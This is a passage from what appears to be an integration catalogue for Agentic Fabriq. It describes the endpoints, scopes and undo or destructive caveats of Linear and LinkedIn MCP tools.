matches on meaning, so 'slow exports' finds 'Report generation times out'. Returns each hit's type and id plus a short identity stub; follow up with linear_get_issue, linear_get_project, linear_get_initiative or linear_get_document for the full record. Restrict with types=['issue'] and cap with max_results (1-50). Use linear_search_issues instead when you know the exact term. POST /api/v1/tools/linear/semantic-search. Scopes: read. linear_shift_all_cycles (write, destructive) — DESTRUCTIVE (bulk) - shift a Linear cycle and EVERY cycle after it on that team by a number of days. Requires confirm='shift-this-cycle-and-every-later-cycle' - that exact string; true, 'yes' and any other wording are refused. Pass a CYCLE id from linear_list_cycles, not a team id. Negative days move them earlier. You can undo it by calling again from the same cycle with the day count negated, as long as nothing else changed meanwhile. To move one cycle only, use linear_update_cycle. POST /api/v1/tools/linear/cycles/shift-all. Scopes: write. linear_snooze_notifications_for_entity (write) — Snooze every Linear notification about ONE thing until a chosen time. Pass EXACTLY ONE of notification_id, issue_id, project_update_id, initiative_id or initiative_update_id, plus snoozed_until_at, a REQUIRED ISO-8601 timestamp such as 2026-08-18T08:00:00Z. The notifications leave the inbox and come back at that moment. Undo early with linear_unsnooze_notifications_for_entity. POST /api/v1/tools/linear/notifications/snooze-all. Scopes: write. linear_start_upcoming_cycle (write, destructive) — DESTRUCTIVE - start a Linear team's upcoming cycle today. This ALSO completes the current cycle early if it has not ended, closing the running sprint on today's date. There is no un-start and no un-complete in Linear's API. Pass the id of a NOT-YET-STARTED cycle from linear_list_cycles with only_next=true; Linear refuses anything else. Do not call this to 'move things along' without being asked. POST /api/v1/tools/linear/cycles/start-upcoming. Scopes: write. linear_subscribe_to_issue (write) — Subscribe the connected account to an issue so Linear notifies it of changes. Viewer-scoped and reversed exactly by linear_unsubscribe_from_issue. Agentic Fabriq does not forward Linear's userId or userEmail arguments, so this can only ever subscribe the connected account — never sign a colleague up for notifications they did not ask for. POST /api/v1/tools/linear/issues/subscribe. Scopes: write. linear_suggest_custom_view_details (write) — Suggest a name, description and icon for a Linear saved view from the filter it would use. Pass the filter as filter_json - a JSON object, most easily copied from the filterData of an existing view read with linear_get_custom_view. Nothing is created or changed; the three suggested strings come back as text and you must still call linear_create_custom_view yourself to make the view. Linear rate limits this to 30 calls a minute, so do not loop over it, and the suggestion is AI-generated rather than authoritative. POST /api/v1/tools/linear/custom-views/suggest-details. Scopes: read. linear_suggest_initiative_filter (read) — Ask Linear to turn a plain-language prompt into an initiative filter object. IMPORTANT: no other tool here accepts a filter object, so you cannot pipe the result into a listing tool - use linear_list_initiatives with its named arguments for that. What this is good for is showing a human what a prompt would select, and feeding linear_suggest_custom_view_details to get a name for it. Nothing is created or changed. GET /api/v1/tools/linear/initiative-filter-suggestion. Scopes: read. linear_suggest_issue_filter (read) — Ask Linear to convert a natural-language description into its own issue-filter JSON. Returns the filter only - it does not run a search and changes nothing. Useful before creating a saved view with linear_create_custom_view. It does NOT feed into linear_list_issues, which takes named arguments (team_id, assignee_id, state_id, project_id) rather than a filter object; read the suggestion and pick those. GET /api/v1/tools/linear/issue-filter-suggestion. Scopes: read. linear_suggest_issue_title (read) — Ask Linear to suggest an issue title from a customer's raw words (ticket body, email, chat transcript). Returns a title string and changes nothing. Use it before linear_create_issue when you have a customer's message and need a title that matches the board's style. GET /api/v1/tools/linear/issue-title-suggestion. Scopes: read. linear_suggest_project_filter (read) — Ask Linear to convert a natural-language description into its own project-filter JSON. Returns the filter only - no search is run and nothing changes. Useful before linear_create_custom_view. It does not feed into linear_list_projects, which takes no filter argument. GET /api/v1/tools/linear/project-filter-suggestion. Scopes: read. linear_sync_release (write) — Sync a build into a Linear release: give the pipeline id, the commit SHA and the issue identifiers (ENG-123 style) that shipped in it. BEHAVIOUR DEPENDS ON THE PIPELINE - continuous pipelines create a new completed release on EVERY call, so do not retry blindly; scheduled pipelines add the issues to the release already in progress. Check linear_get_release_pipeline for the type. There is no single undo: archive the release, or remove links with linear_remove_issue_from_release. POST /api/v1/tools/linear/releases/sync. Scopes: write. linear_track_event (write) — Record one named event in Linear's product analytics. NO UNDO - Linear publishes no way to delete an event or to read one back, so you cannot check or correct what you sent. Only an event name and an optional session id can be sent; arbitrary event properties are not supported here on purpose. This affects no issue, project or document. POST /api/v1/tools/linear/events. Scopes: write. linear_unarchive_document (write) — Restore a document that was archived in the Linear UI. Recovery-only: Linear's schema publishes no documentArchive, so nothing Agentic Fabriq exposes can archive a document in the first place. It is here because a restore with no matching removal is the safe half of an asymmetry, not the dangerous one. POST /api/v1/tools/linear/documents/unarchive. Scopes: write. linear_unarchive_initiative (write) — Restore an archived initiative. The exact inverse of linear_archive_initiative. POST /api/v1/tools/linear/initiatives/unarchive. Scopes: write. linear_unarchive_initiative_update (write) — Restore an archived Linear initiative status update. The exact inverse of linear_archive_initiative_update - the post returns to the initiative's history with its comments and reactions intact. List initiative updates with archived rows included to find the id. POST /api/v1/tools/linear/initiative-updates/unarchive. Scopes: write. linear_unarchive_issue (write) — Restore an issue that linear_archive_issue removed from the board. This is the exact inverse of archiving and it is why archiving is safe to grant: an agent that archives the wrong issue can put it back itself, with an audit row for both halves, instead of needing a human in the Linear UI. Restores the issue to the state and team it had; it does not recover a trashed or deleted issue, which Agentic Fabriq cannot reach at all. POST /api/v1/tools/linear/issues/unarchive. Scopes: write. linear_unarchive_notification (write) — Restore an archived Linear notification to the connected account's inbox. The exact inverse of linear_archive_notification. Get the id from linear_list_notifications with include_archived=true - the default listing excludes archived rows, so a plain list will never show you a candidate. POST /api/v1/tools/linear/notifications/unarchive. Scopes: write. linear_unarchive_project (write) — Restore an archived project to the project list. The exact inverse of linear_archive_project, shipped in the same migration so archiving a project is never a one-way door. POST /api/v1/tools/linear/projects/unarchive. Scopes: write. linear_unarchive_project_status (write) — Restore an archived project status. The exact inverse of linear_archive_project_status. POST /api/v1/tools/linear/project-statuses/unarchive. Scopes: write. linear_unarchive_project_update (write) — Restore an archived project status update. The exact inverse of linear_archive_project_update. POST /api/v1/tools/linear/project-updates/unarchive. Scopes: write. linear_unarchive_release (write) — Restore an archived Linear release. The documented inverse of linear_archive_release - same id and the release returns to the pipeline. Get the id from linear_list_releases with include_archived=true. It MIGHT also recover a release trashed by linear_delete_release, since Linear calls trashed releases archived, but Linear does not document that and it is not guaranteed - do not treat linear_delete_release as reversible. The returned trashed flag tells you which case you are in. POST /api/v1/tools/linear/releases/unarchive. Scopes: write. linear_unarchive_release_pipeline (write) — Restore an archived Linear release pipeline. The inverse of linear_archive_release_pipeline - same id, and the pipeline with its stages, releases and notes returns to the active views. Get the id from linear_list_release_pipelines with include_archived=true. Linear does NOT document this as recovering a pipeline deleted with linear_delete_release_pipeline; do not rely on it for that. POST /api/v1/tools/linear/release-pipelines/unarchive. Scopes: write. linear_unarchive_release_stage (write) — Restore an archived Linear release stage. The inverse of linear_archive_release_stage - same id, and the stage returns to its pipeline. Get the id from linear_list_release_stages with include_archived=true. Archiving is the only way a stage is removed in Linear, so this recovers every removed stage. POST /api/v1/tools/linear/release-stages/unarchive. Scopes: write. linear_unarchive_roadmap (write) — Restore an archived Linear roadmap. The inverse of linear_archive_roadmap - same id, and the roadmap returns to the roadmap list. Get the id from linear_list_roadmaps with include_archived=true. This is NOT documented to recover a roadmap removed with linear_delete_roadmap. POST /api/v1/tools/linear/roadmaps/unarchive. Scopes: write. linear_unarchive_team (write) — Cancel a scheduled Linear team deletion and bring the team back. This is the forward-half undo for linear_delete_team, which archives a team and SCHEDULES its issues, cycles, workflow states, labels and history for deletion - this call cancels that schedule. It only works until the deletion actually runs, and Linear does not publish that window, so call it as soon as a mistaken linear_delete_team is noticed. Find the team id with linear_list_archived_teams. POST /api/v1/tools/linear/teams/unarchive. Scopes: write. linear_unresolve_comment (write) — Re-open a comment thread that was marked resolved. The exact inverse of linear_resolve_comment. POST /api/v1/tools/linear/comments/unresolve. Scopes: write. linear_unsnooze_notifications_for_entity (write) — Un-snooze every Linear notification about ONE thing, returning them to the inbox now. Pass EXACTLY ONE of notification_id, issue_id, project_update_id, initiative_id or initiative_update_id, plus unsnoozed_at, a REQUIRED ISO-8601 timestamp. unsnoozed_at records WHEN the snooze was lifted - it is NOT a new snooze deadline, so the notifications come back immediately. The inverse of linear_snooze_notifications_for_entity. POST /api/v1/tools/linear/notifications/unsnooze-all. Scopes: write. linear_unsubscribe_from_issue (write) — Unsubscribe the connected account from an issue. The exact inverse of linear_subscribe_to_issue, and equally limited to the connected account. POST /api/v1/tools/linear/issues/unsubscribe. Scopes: write. linear_update_attachment (write) — Change an attachment's display title or subtitle. Linear requires a title on every update, so pass the existing one from linear_get_attachment when only the subtitle is changing. The URL itself cannot be changed. PATCH /api/v1/tools/linear/attachments. Scopes: write. linear_update_comment (write) — Edit the body of an existing comment. This is a revision, not a deletion: Linear keeps the comment, its thread position and its reactions, and marks it edited. It exists so an agent that posted something wrong can correct it rather than leaving it standing or piling a second comment on top. Deleting comments is deliberately not exposed — removing a colleague's words is moderation, not integration. PATCH /api/v1/tools/linear/comments. Scopes: write. linear_update_custom_view (write) — Edit a saved Linear view. Named fields change, unnamed fields stay - except the filter: passing ANY of filter_team_id, filter_assignee_id, filter_state_id or filter_project_id replaces the view's whole saved filter, and passing none of them leaves it untouched. shared=false removes the view from every colleague's sidebar; call linear_custom_view_has_subscribers first to find out whether anyone else is using it. This tool cannot re-scope a view to a project or an initiative - Linear marks those fields internal. PATCH /api/v1/tools/linear/custom-views. Scopes: write. linear_update_cycle (write) — Rename a cycle, change its goal, or move its start or end date. Fields not named are left alone. Moving the end date of an active cycle changes what every burn-down chart on that team reports. PATCH /api/v1/tools/linear/cycles. Scopes: write. linear_update_document (write) — Change a document's title, body, owner or attachment. Fields not named are left alone. READ IT FIRST WITH linear_get_document: content REPLACES the whole body rather than merging, so writing a partial body silently discards the rest, and Agentic Fabriq exposes no way to archive or restore a document to soften that. PATCH /api/v1/tools/linear/documents. Scopes: write. linear_update_favorite (write) — Move or re-order one Linear sidebar favorite. Only folder_name, parent_id and sort_order can change - there is no way to re-point a favorite at a different entity, so delete and re-create it for that. Takes the FAVORITE's own id from linear_list_favorites, not the id of the bookmarked entity. At least one field must be given. PATCH /api/v1/tools/linear/favorites. Scopes: write. linear_update_initiative (write) — Change an initiative's name, description, brief, owner, status or target date. Fields not named are left alone; description and content replace rather than merge. Setting the status to Completed or Canceled is how an initiative is closed. PATCH /api/v1/tools/linear/initiatives. Scopes: write. linear_update_initiative_label (write) — Edit a Linear initiative label - name, description, colour, group flag or parent group. Named fields change and the rest stay. A rename shows up on every initiative carrying the label at once. This tool cannot retire or restore a label: use linear_retire_initiative_label and linear_restore_initiative_label, which are the reversible pair for that. At least one field must be given. PATCH /api/v1/tools/linear/initiative-labels. Scopes: write. linear_update_initiative_lead_team (write) — Change which Linear team leads an initiative. mode must be selectedOnly or includeDescendants; includeDescendants ALSO rewrites every editable sub-initiative, so call linear_get_initiative_lead_team_change_impact first to see how many that is and whether the change alters who can see the initiative. Omitting lead_team_id leaves the current lead team alone - this tool cannot clear one. Reversible by setting the previous team back. PATCH /api/v1/tools/linear/initiative-lead-team. Scopes: write. linear_update_initiative_project (write) — Re-order a project within a Linear initiative. sort_order is the only thing this changes; it CANNOT move a project to a different initiative - use linear_remove_project_from_initiative then linear_add_project_to_initiative. Takes the LINK id from linear_list_initiative_projects, not the project or initiative id. PATCH /api/v1/tools/linear/initiative-projects. Scopes: write. linear_update_initiative_relation (write) — Re-order a child initiative among its siblings under the same parent. sort_order is the only thing this can change - it CANNOT move an initiative to a different parent. For that, call linear_delete_initiative_relation then linear_create_initiative_relation. Takes the relation id from linear_list_initiative_relations, not an initiative id. PATCH /api/v1/tools/linear/initiative-relations. Scopes: write. linear_update_initiative_update (write) — Edit a Linear initiative status update. body REPLACES the whole text, so read the current text with linear_get_initiative_update first and send the full corrected version. health must be onTrack, atRisk or offTrack. At least one of the two must be given. The post keeps its comments and reactions and is marked edited. To post a NEW update use linear_create_initiative_update; to edit the initiative itself use linear_update_initiative. PATCH /api/v1/tools/linear/initiative-updates. Scopes: write. linear_update_issue (write) — Update one Linear issue, changing ONLY the fields named in the request — anything not named is left exactly as it is. But the fields that ARE named replace rather than merge: setting `description` overwrites the previous description, and setting `label_ids` replaces the whole label set. Moving the issue to a different state_id is how an issue is closed. At least one field must be supplied; an empty update would report success while changing nothing. PATCH /api/v1/tools/linear/issues. Scopes: write. linear_update_issue_label (write) — Rename or recolour an issue label, move it under a different group, or change its description. Fields not named are left alone. Renaming a label changes it everywhere it is used, which is the whole point but is worth stating. PATCH /api/v1/tools/linear/issue-labels. Scopes: write. linear_update_issue_relation (write) — Change an existing issue link — most usefully its type, e.g. promoting 'related' to 'blocks' once the dependency is confirmed. Re-pointing either endpoint is also possible. Fully reversible by calling it again. PATCH /api/v1/tools/linear/issue-relations. Scopes: write. linear_update_notification (write) — Mark one Linear notification read (pass read_at) or snooze it (pass snoozed_until_at), using ISO-8601 timestamps such as 2026-08-15T09:30:00Z. At least one of the two is required. Needs a notification id from linear_list_notifications. This tool CANNOT mark something unread or unsnooze it - use linear_mark_notifications_unread_for_entity or linear_unsnooze_notifications_for_entity with notification_id, which act on the whole notification group. PATCH /api/v1/tools/linear/notifications. Scopes: write. linear_update_notification_subscription (write) — Update one Linear notification subscription: active=false pauses it, active=true resumes it. This is Linear's OWN recommended way to stop notifications - prefer it over linear_delete_notification_subscription, which Linear has deprecated. WARNING: notification_subscription_types REPLACES the entire list, so read the current list with linear_get_notification_subscription first or you will silently drop types. The target entity cannot be changed. PATCH /api/v1/tools/linear/notification-subscriptions. Scopes: write. linear_update_project (write) — Change a project's name, description, brief, lead, status, labels, members, priority or dates. Fields not named are left alone, but the ones that ARE named replace rather than merge: description and content overwrite, and label_ids and team_ids replace the whole set. Moving a project to a 'completed' or 'canceled' status is how a project is closed. PATCH /api/v1/tools/linear/projects. Scopes: write. linear_update_project_label (write) — Rename, recolour, re-describe or regroup a project label. Fields not named are left alone. PATCH /api/v1/tools/linear/project-labels. Scopes: write. linear_update_project_milestone (write) — Rename a milestone, change its description or move its target date. Fields not named are left alone. PATCH /api/v1/tools/linear/project-milestones. Scopes: write. linear_update_project_relation (write) — Update a Linear project relation - change the dependency type or move either end to a different project or milestone. Read the current values with linear_get_project_relation first, both to know what you are changing and so you can put them back. Prefer this over delete-then-create. PATCH /api/v1/tools/linear/project-relations. Scopes: write. linear_update_project_status (write) — Rename, recolour, reorder or retype a workspace project status. Fields not named are left alone. PATCH /api/v1/tools/linear/project-statuses. Scopes: write. linear_update_project_update (write) — Edit a project status update that has already been posted — correct the text or change the health rating. A revision, not a deletion: the post keeps its place, its comments and its reactions, and Linear marks it edited. PATCH /api/v1/tools/linear/project-updates. Scopes: write. linear_update_release (write) — Update a Linear release - name, description, version, commit_sha, stage_id, start and target dates, or the recorded started_at and completed_at times. stage_id is what actually moves the release between planned, started, completed and canceled. Read linear_get_release first: description OVERWRITES the existing text, and the old values are how you undo this. This tool cannot trash a release - use linear_delete_release. PATCH /api/v1/tools/linear/releases. Scopes: write. linear_update_release_by_pipeline (write, destructive) — DESTRUCTIVE. Move a Linear pipeline's release to a stage BY NAME, without a release id. Prefer linear_update_release, which takes exact ids. Two traps: without version this acts on whatever release is currently latest started or planned, and the stage name is matched loosely (case-insensitive, dashes and underscores treated as spaces). Pass version whenever you know it. If the target stage completes the release, the open-issue rollover cannot be undone. POST /api/v1/tools/linear/releases/update-by-pipeline. Scopes: write. linear_update_release_note (write) — Update a Linear release note's title, body or coverage. CALL linear_get_release_note FIRST - content REPLACES the entire markdown body and release_ids REPLACES the whole coverage set, and that read is your only undo. Give either release_ids or both range ids, never both shapes. To remove a note entirely use linear_delete_release_note, which is permanent. PATCH /api/v1/tools/linear/release-notes. Scopes: write. linear_update_release_pipeline (write) — Update a Linear release pipeline. Read linear_get_release_pipeline first - team_ids and include_path_patterns REPLACE the existing lists rather than adding to them, and that read is your undo. Linear preserves private teams you cannot see, so the returned team list may not match what you sent. Changing slug_id breaks existing links. Changing type changes how in-flight releases behave. PATCH /api/v1/tools/linear/release-pipelines. Scopes: write. linear_update_release_stage (write) — Update a Linear release stage's name, colour, position or frozen flag. ONLY started-type stages can be edited - check type with linear_get_release_stage first or the call fails. No releases are moved. Renaming a stage changes the name that linear_update_release_by_pipeline matches on, so anything using the old name will stop working. PATCH /api/v1/tools/linear/release-stages. Scopes: write. linear_update_roadmap (write) — Update a Linear roadmap's name, description, colour, owner or sort order. Call linear_get_roadmap first: description OVERWRITES the whole existing text, and the old values are what you need to undo this. At least one field must be supplied. Roadmaps are deprecated by Linear - prefer linear_update_initiative. PATCH /api/v1/tools/linear/roadmaps. Scopes: write. linear_update_team (write) — Update a Linear team's settings. Needs a team id from linear_list_teams and at least one field to change. Two traps: private=false makes every issue the team holds visible to the whole workspace, and changing key re-mints the team's issue identifiers so new issues get a new prefix. Linear requires team owner or workspace admin rights for most changes and will refuse cleanly otherwise. This tool cannot retire or delete a team - that is linear_delete_team. PATCH /api/v1/tools/linear/teams. Scopes: write. linear_update_team_membership (write) — Set the position of a team in one member's Linear team list, using a membership id from linear_list_team_memberships. Sort order is the ONLY thing this tool changes. It CANNOT promote anyone to team owner - Linear's mutation supports that but this toolset never sends the field, because team ownership is what permits deleting a team. To add or remove somebody from a team, use linear_add_team_membership or linear_remove_team_membership. PATCH /api/v1/tools/linear/team-memberships. Scopes: write. linear_update_template (write) — Update a Linear template. By default only the name, description, icon, colour and team change. Set replace_issue_fields=true to also replace the template's pre-filled issue fields - that is a WHOLESALE replace, not a merge, so pass every issue_* value you want to keep, and read linear_get_template first. Only issue templates can have their contents rewritten. PATCH /api/v1/tools/linear/templates. Scopes: write. linear_update_user_flag (write) — Set one of the connected Linear account's UI flags (dismissed tips, onboarding state, desktop-app installed). operation must be clear, incr, decr or lock. flag is a Linear UserFlagType name - an unknown name is rejected by Linear with a message naming it. Affects no issue or project and only the connected account. POST /api/v1/tools/linear/user-flags. Scopes: write. linear_update_user_profile (write) — Update a Linear user's profile - name, display name, bio, title, timezone, or the status emoji and label. Use linear_get_viewer for the connected account's own user id; Linear will refuse any other user unless this account is a workspace admin. Changes how that person appears on everything they have ever written, so confirm with them first. Cannot change roles or permissions. PATCH /api/v1/tools/linear/user-profile. Scopes: write. linear_update_user_settings (write) — Update the connected Linear account's own settings - mark the feed as read up to a timestamp, or turn the changelog, invitation, legal and marketing emails on or off. Get the settings id from linear_get_user_settings. Affects only the connected account. Notification category and channel preferences are not settable here. PATCH /api/v1/tools/linear/user-settings. Scopes: write. linear_update_view_preferences (write) — Update a stored Linear view-preferences object by its id. preferences and insights are opaque JSON objects and each REPLACES the stored one wholesale, so include every key you want to keep. At least one must be given. Linear rejects the call if the preferences are user-type and belong to somebody else. Use linear_create_view_preferences when no preferences object exists yet. PATCH /api/v1/tools/linear/view-preferences. Scopes: write. linear_update_workflow_state (write) — Rename, recolour, re-describe or reorder one of a team's board columns. The state's TYPE cannot be changed after creation — Linear does not accept it on update — so moving a column between 'started' and 'completed' means creating a new one. PATCH /api/v1/tools/linear/workflow-states. Scopes: write. ================================================================================ ## LinkedIn URL: https://www.agenticfabriq.com/integrations/linkedin Section: Integrated Tools LinkedIn — 63 MCP tools Provider key: linkedin. Scopes: delete, read, write. Connect: AF hosted sign-in — your end user signs in to their account on an Agentic Fabriq page (a QR scan, a pairing code, or the provider’s own sign-in form); there is no credential to paste. SAME route as a pasted credential: POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url. Capabilities reports key_connect: true for these, and link_connect: true to tell you which screen the user will see. Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. linkedin_delete_chats_by_chat_id (write, destructive) — Delete a chat. DELETE /api/v1/chats/{chat_id}. Delete a chat. Supported for WhatsApp and LinkedIn only. DELETE /api/v1/linkedin/api/v1/chats/{chat_id}. Scopes: delete. linkedin_delete_messages_by_message_id (write, destructive) — Delete a message. DELETE /api/v1/messages/{message_id}. Delete a message. Supported for WhatsApp and LinkedIn only. For LinkedIn, it is only possible within the first 60 minutes after the message is sent. DELETE /api/v1/linkedin/api/v1/messages/{message_id}. Scopes: delete. linkedin_delete_users_invite_sent_by_invitation_id (write, destructive) — Cancel an invitation. DELETE /api/v1/users/invite/sent/{invitation_id}. Cancel a pending invitation sent to someone. Instagram: You can also use this route to unfollow users you have previously followed. DELETE /api/v1/linkedin/api/v1/users/invite/sent/{invitation_id}. Scopes: delete. linkedin_get_chat_attendees (read) — List all attendees. GET /api/v1/chat_attendees. Returns a list of messaging attendees. Some optional parameters are available to filter the results. GET /api/v1/linkedin/api/v1/chat_attendees. Scopes: read. linkedin_get_chat_attendees_by_attendee_id_chats (read) — List all 1to1 chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/chats. Returns a list of chats where a given attendee is involved. GET /api/v1/linkedin/api/v1/chat_attendees/{attendee_id}/chats. Scopes: read. linkedin_get_chat_attendees_by_attendee_id_sync (read) — Resynchronize chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/sync. Starts or monitors the synchronization of all chats for a given attendee. GET /api/v1/linkedin/api/v1/chat_attendees/{attendee_id}/sync. Scopes: read. linkedin_get_chat_attendees_by_id (read) — Retrieve an attendee. GET /api/v1/chat_attendees/{id}. The id of the wanted attendee. GET /api/v1/linkedin/api/v1/chat_attendees/{id}. Scopes: read. linkedin_get_chat_attendees_by_id_picture (read) — Download a chat attendee picture. GET /api/v1/chat_attendees/{id}/picture. Download the profile picture of an attendee or picture of a group chat. GET /api/v1/linkedin/api/v1/chat_attendees/{id}/picture. Scopes: read. linkedin_get_chat_attendees_by_sender_id_messages (read) — List all messages for a given attendee. GET /api/v1/chat_attendees/{sender_id}/messages. Returns a list of messages where a given attendee is involved. GET /api/v1/linkedin/api/v1/chat_attendees/{sender_id}/messages. Scopes: read. linkedin_get_chats (read) — List all chats. GET /api/v1/chats. Returns a list of chats. Some optional parameters are available to filter the results. GET /api/v1/linkedin/api/v1/chats. Scopes: read. linkedin_get_chats_by_chat_id (read) — Retrieve a chat. GET /api/v1/chats/{chat_id}. Retrieve the details of a chat. GET /api/v1/linkedin/api/v1/chats/{chat_id}. Scopes: read. linkedin_get_chats_by_chat_id_attendees (read) — List all attendees from a chat. GET /api/v1/chats/{chat_id}/attendees. Returns a list of messaging attendees related to a given chat. Some optional parameters are available to filter the results. GET /api/v1/linkedin/api/v1/chats/{chat_id}/attendees. Scopes: read. linkedin_get_chats_by_chat_id_messages (read) — List all messages from a chat. GET /api/v1/chats/{chat_id}/messages. Returns a list of messages related to the given chat. Some parameters are available to filter the results. GET /api/v1/linkedin/api/v1/chats/{chat_id}/messages. Scopes: read. linkedin_get_chats_by_chat_id_sync (read) — Synchronize a conversation from its beginning. GET /api/v1/chats/{chat_id}/sync. This route can be used both to initiate a synchronization process and to monitor its status via regular polling. GET /api/v1/linkedin/api/v1/chats/{chat_id}/sync. Scopes: read. linkedin_get_linkedin_company_by_identifier (read) — Retrieve a company profile. GET /api/v1/linkedin/company/{identifier}. Get a company profile from its name or ID. GET /api/v1/linkedin/api/v1/linkedin/company/{identifier}. Scopes: read. linkedin_get_linkedin_contracts (read) — Retrieve contracts. GET /api/v1/linkedin/contracts. Returns a list of your LinkedIn available contracts GET /api/v1/linkedin/api/v1/linkedin/contracts. Scopes: read. linkedin_get_linkedin_inmail_balance (read) — Get inmail credit balance. GET /api/v1/linkedin/inmail_balance. Get balance for subscribed premium features. GET /api/v1/linkedin/api/v1/linkedin/inmail_balance. Scopes: read. linkedin_get_linkedin_jobs (read) — List all job postings. GET /api/v1/linkedin/jobs. Retrieve the job offers you have posted on LinkedIn whether they are open, closed or still drafts. GET /api/v1/linkedin/api/v1/linkedin/jobs. Scopes: read. linkedin_get_linkedin_jobs_applicants_by_applicant_id (read) — Get a specific applicant to a job posting. GET /api/v1/linkedin/jobs/applicants/{applicant_id}. Retrieve the details of a user that has applied to a given offer. Applies to Classic job posting only. GET /api/v1/linkedin/api/v1/linkedin/jobs/applicants/{applicant_id}. Scopes: read. linkedin_get_linkedin_jobs_applicants_by_applicant_id_resume (read) — Download the resume of a job applicant. GET /api/v1/linkedin/jobs/applicants/{applicant_id}/resume. This route can be used to download the resume of a job applicant. The provider answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/linkedin/api/v1/linkedin/jobs/applicants/{applicant_id}/resume. Scopes: read. linkedin_get_linkedin_jobs_by_id_applicants (read) — List all applicants to a job posting. GET /api/v1/linkedin/jobs/{id}/applicants. Retrieve all the users that have applied to a given offer. GET /api/v1/linkedin/api/v1/linkedin/jobs/{id}/applicants. Scopes: read. linkedin_get_linkedin_jobs_by_job_id (read) — Get job offer. GET /api/v1/linkedin/jobs/{job_id}. Retrieve a job offer. GET /api/v1/linkedin/api/v1/linkedin/jobs/{job_id}. Scopes: read. linkedin_get_linkedin_projects (read) — Retrieve Recruiter hiring projects. GET /api/v1/linkedin/projects. Retrieve list of LinkedIn Recruiter hiring projects. GET /api/v1/linkedin/api/v1/linkedin/projects. Scopes: read. linkedin_get_linkedin_projects_by_id (read) — Retrieve Recruiter hiring project from ID. GET /api/v1/linkedin/projects/{id}. Retrieve a particular hiring project. GET /api/v1/linkedin/api/v1/linkedin/projects/{id}. Scopes: read. linkedin_get_linkedin_search_parameters (read) — Retrieve LinkedIn search parameters. GET /api/v1/linkedin/search/parameters. LinkedIn doesn't accept raw text as search parameters, but IDs. This route will help you get the right IDs for your inputs. Check out our Guide with examples to master LinkedIn search: https://developer.the messaging provider.com/docs/linkedin-search GET /api/v1/linkedin/api/v1/linkedin/search/parameters. Scopes: read. linkedin_get_messages (read) — List all messages. GET /api/v1/messages. Returns a list of messages. Some optional parameters are available to filter the results. GET /api/v1/linkedin/api/v1/messages. Scopes: read. linkedin_get_messages_by_message_id (read) — Retrieve a message. GET /api/v1/messages/{message_id}. Retrieve the details of a message. GET /api/v1/linkedin/api/v1/messages/{message_id}. Scopes: read. linkedin_get_messages_by_message_id_attachments_by_attachment_id (read) — Retrieve an attachment from a message. GET /api/v1/messages/{message_id}/attachments/{attachment_id}. Retrieve one of the attachment linked to a message. The provider answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/linkedin/api/v1/messages/{message_id}/attachments/{attachment_id}. Scopes: read. linkedin_get_posts_by_post_id (read) — Retrieve a post. GET /api/v1/posts/{post_id}. Retrieve the details of a post. GET /api/v1/linkedin/api/v1/posts/{post_id}. Scopes: read. linkedin_get_posts_by_post_id_comments (read) — List all comments from a post. GET /api/v1/posts/{post_id}/comments. Returns a list of either comments on a given post or replies on a given comment. GET /api/v1/linkedin/api/v1/posts/{post_id}/comments. Scopes: read. linkedin_get_posts_by_post_id_reactions (read) — List all reactions from a post. GET /api/v1/posts/{post_id}/reactions. Returns a list of reactions to either a post or a post comment. GET /api/v1/linkedin/api/v1/posts/{post_id}/reactions. Scopes: read. linkedin_get_users_by_identifier (read) — Retrieve a profile. GET /api/v1/users/{identifier}. Retrieve the profile of a user. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.the messaging provider.com/docs/provider-limits-and-restrictions GET /api/v1/linkedin/api/v1/users/{identifier}. Scopes: read. linkedin_get_users_by_identifier_comments (read) — List all comments. GET /api/v1/users/{identifier}/comments. Returns a list of comments written by a user. GET /api/v1/linkedin/api/v1/users/{identifier}/comments. Scopes: read. linkedin_get_users_by_identifier_posts (read) — List all posts. GET /api/v1/users/{identifier}/posts. Returns a list of posts written by a user or a company. GET /api/v1/linkedin/api/v1/users/{identifier}/posts. Scopes: read. linkedin_get_users_by_identifier_reactions (read) — List all reactions. GET /api/v1/users/{identifier}/reactions. Returns a list of reactions to posts or comments from a user. GET /api/v1/linkedin/api/v1/users/{identifier}/reactions. Scopes: read. linkedin_get_users_followers (read) — List all followers. GET /api/v1/users/followers. Returns a list of all the followers of the current user. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.the messaging provider.com/docs/provider-limits-and-restrictions GET /api/v1/linkedin/api/v1/users/followers. Scopes: read. linkedin_get_users_following (read) — List all followed accounts. GET /api/v1/users/following. Returns a list of all the followed accounts of an account. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.the messaging provider.com/docs/provider-limits-and-restrictions GET /api/v1/linkedin/api/v1/users/following. Scopes: read. linkedin_get_users_invite_received (read) — List all invitations received. GET /api/v1/users/invite/received. Returns a list of all invitations that have been received. GET /api/v1/linkedin/api/v1/users/invite/received. Scopes: read. linkedin_get_users_invite_sent (read) — List all invitations sent. GET /api/v1/users/invite/sent. Returns a list of all invitations sent that are pending. GET /api/v1/linkedin/api/v1/users/invite/sent. Scopes: read. linkedin_get_users_me (read) — Retrieve own profile. GET /api/v1/users/me. Retrieve informations about account owner. GET /api/v1/linkedin/api/v1/users/me. Scopes: read. linkedin_get_users_relations (read) — List all relations. GET /api/v1/users/relations. Returns a list of all the relations of an account. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.the messaging provider.com/docs/provider-limits-and-restrictions GET /api/v1/linkedin/api/v1/users/relations. Scopes: read. linkedin_patch_chats_by_chat_id (write) — Perform an action on a given chat. PATCH /api/v1/chats/{chat_id}. Perform an action like changing the read status, muting the chat, retrieving a group invite link, etc. PATCH /api/v1/linkedin/api/v1/chats/{chat_id}. Scopes: write. linkedin_patch_linkedin_jobs_by_job_id (write) — Edit a job posting. PATCH /api/v1/linkedin/jobs/{job_id}. Edit an existing job posting. PATCH 